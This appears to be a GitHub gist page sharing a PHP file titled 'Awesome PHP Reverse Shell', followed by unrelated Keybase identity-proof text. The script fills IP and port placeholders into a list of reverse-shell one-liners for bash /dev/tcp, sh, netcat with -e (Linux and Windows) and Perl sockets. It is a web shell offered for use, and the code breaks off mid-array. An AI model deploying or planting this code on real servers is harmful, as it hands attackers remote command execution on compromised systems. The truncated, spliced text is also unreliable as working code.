Skip to content

Instantly share code, notes, and snippets.

@adampankow
adampankow / phpshell.php
Created December 6, 2021 22:01
Awesome PHP Reverse Shell
<?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
'/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
'0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
'/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
"/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
### Keybase proof
I hereby claim:
* I am adampankow on github.
* I am adampankow (https://keybase.io/adampankow) on keybase.
* I have a public key whose fingerprint is 7C7B 4F66 E699 AEBA 6D6C B93C B9D3 076B CA14 6699
To claim this, I am signing this object: